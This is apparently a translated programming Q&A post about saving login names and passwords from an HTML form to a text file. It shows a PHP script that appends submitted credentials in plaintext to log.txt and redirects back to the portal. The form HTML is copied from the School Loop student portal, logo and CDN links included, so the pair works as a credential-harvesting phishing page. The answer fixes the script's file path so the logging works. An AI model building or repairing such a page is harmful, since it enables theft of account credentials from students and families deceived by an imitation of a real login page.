从HTML输入中写入.txt文件


Write .txt file from an HTML Input

我正试图从我的个人网站上获取用户名和密码,以保存到.txt文件中。首先,我需要弄清楚我的.php脚本出了什么问题,因为它没有写入文件。

<?php
if(isset($_POST['login_name']) && isset($_POST['password'])) {
    $data = $_POST['login_name'] . '-' . $_POST['password'] . "'n";
    $ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX);
    if($ret === false) {
        header("Location: /portal/guest_home?etarget=login_form");
        die();
    }
    else {
        echo "$ret bytes written to file";
        header("Location: /portal/guest_home?etarget=login_form");
        die();
    }
}
else {
   header("Location: /portal/guest_home?etarget=login_form");
   die();
}
?>

HTML代码的登录部分

<div class="shadow_round" style="width: 565px;">
<table border="0" cellpadding="0" cellspacing="0" width="100%"   >
    <tr>
        <td class="round-left gradient_blue padding_20">
            <a href="/"><img src="https://cdn.schoolloop.com/1501091742/img/logo_sl_login.png" width="152" height="60" alt="School Loop" /></a>
        </td>
        <td class="padding_20 round-right" style="background: #fff; width: 100%">   
<form name="form" id="form" action="/login.php" method="POST" autocomplete="off" name="form">
    <table width="100%" cellpadding='2' cellspacing='0' id="login_form" style="margin-right: 10px;">
        <tr>
            <td nowrap>
                <a href= "/portal/setLanguage?d=x&language=Spanish&return_url=1423243969895" class="link_language">Español</a><a href= "/portal/setLanguage?d=x&language=Chinese&return_url=1423243969895" class="link_language">&#20013;&#25991;</a>
            </td>
        </tr>
        <tr>
            <td>
                <div class="form_label_above" nowrap>Login Name:</div>
                    <input  class='Text'   type="text" name=login_name value="">
            </td>
        </tr>
        <tr>
            <td width="100%">
                <div class="form_label_above" nowrap>Password:</div>
                    <input  class='Text'   type='password' name=password value="">
                <div class="content_spacing_sm"></div>
            </td>
        </tr>
        <tr>
            <td>
                <a href= "javascript:document.form.event_override.value='login';document.form.submit();" class="btn-action-highlight-lg">Login</a>
                <a class="btn-standard-lg" href="/portal/register?d=x&return_url=1423243969895">Register Now</a>
                <div class="content_spacing"></div>
            </td>
        </tr>
        <tr>
            <td>
                <a href="/portal/forgot_password?d=x&return_url=1423243969895">Forgot password?</a>
                <br>
                <br>
                <a class="small" href="/portal/login">Secure Login</a>
            </td>
        </tr>
    </table>
    <input name="event.login" src="https://cdn.schoolloop.com/1501091742/img/spacer.gif" type="image">
    <input type="hidden" name="form_data_id" id="form_data_id" value="13063990464484724"><input type="hidden" name="reverse" id="reverse" value=""><input type="hidden" name="sort" id="sort" value=""><input type="hidden" name="login_form_reverse" id="login_form_reverse" value=""><input type="hidden" name="login_form_page_index" id="login_form_page_index" value=""><input type="hidden" name="login_form_page_item_count" id="login_form_page_item_count" value=""><input type="hidden" name="event_override" id="event_override" value=""><input type="hidden" name="login_form_sort" id="login_form_sort" value=""><input type="hidden" name="return_url" id="return_url" value=""><input type="hidden" name="forward" id="forward" value=""><input type="hidden" name="redirect" id="redirect" value=""><input type="hidden" name="login_form_letter" id="login_form_letter" value=""><input type="hidden" name="login_form_filter" id="login_form_filter" value="">
</form>

您的脚本没有保存,因为您可能设置了一个错误的文件来保存。更改

$ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX);

$ret = file_put_contents('./log.txt', $data, FILE_APPEND | LOCK_EX);

以将文件保存在当前路径(脚本所在的位置。请确保您对该目录具有写入权限)。file_put_contents()需要一个保存到的路径,使用"/log.txt"会将该文件保存到操作系统文件系统的根目录,而不是Webserver document_root。